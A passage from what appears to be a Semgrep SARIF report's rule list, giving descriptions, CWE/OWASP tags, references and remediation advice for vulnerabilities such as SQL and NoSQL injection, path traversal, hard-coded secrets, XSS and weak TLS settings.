avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express","id":"javascript.express.db.mongodb-express.mongodb-express","name":"javascript.express.db.mongodb-express.mongodb-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-express.mongodb-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","id":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","name":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"help":{"markdown":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","id":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","name":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","id":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","name":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django)\n - [https://docs.djangoproject.com/en/5.0/topics/db/sql/](https://docs.djangoproject.com/en/5.0/topics/db/sql/)\n - [https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django","id":"python.django.db.djangoorm-django.djangoorm-django","name":"python.django.db.djangoorm-django.djangoorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.djangoorm-django.djangoorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"help":{"markdown":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","id":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","name":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","id":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","name":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","id":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","name":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","id":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","name":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","id":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","name":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"help":{"markdown":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization)\n - [https://www.owasp.org/index.php/Deserialization_of_untrusted_data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)\n - [https://www.oracle.com/java/technologies/javase/seccodeguide.html#8](https://www.oracle.com/java/technologies/javase/seccodeguide.html#8)\n","text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization","id":"java.lang.security.audit.object-deserialization.object-deserialization","name":"java.lang.security.audit.object-deserialization.object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.object-deserialization.object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","id":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","name":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password","id":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","name":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-empty-password.mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"help":{"markdown":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)\n - [https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)\n","text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","id":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","name":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","id":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","name":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"help":{"markdown":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"helpUri":"https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering","id":"bash.lang.security.ifs-tampering.ifs-tampering","name":"bash.lang.security.ifs-tampering.ifs-tampering","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.lang.security.ifs-tampering.ifs-tampering"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"help":{"markdown":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n - [https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2](https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2)\n","text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak 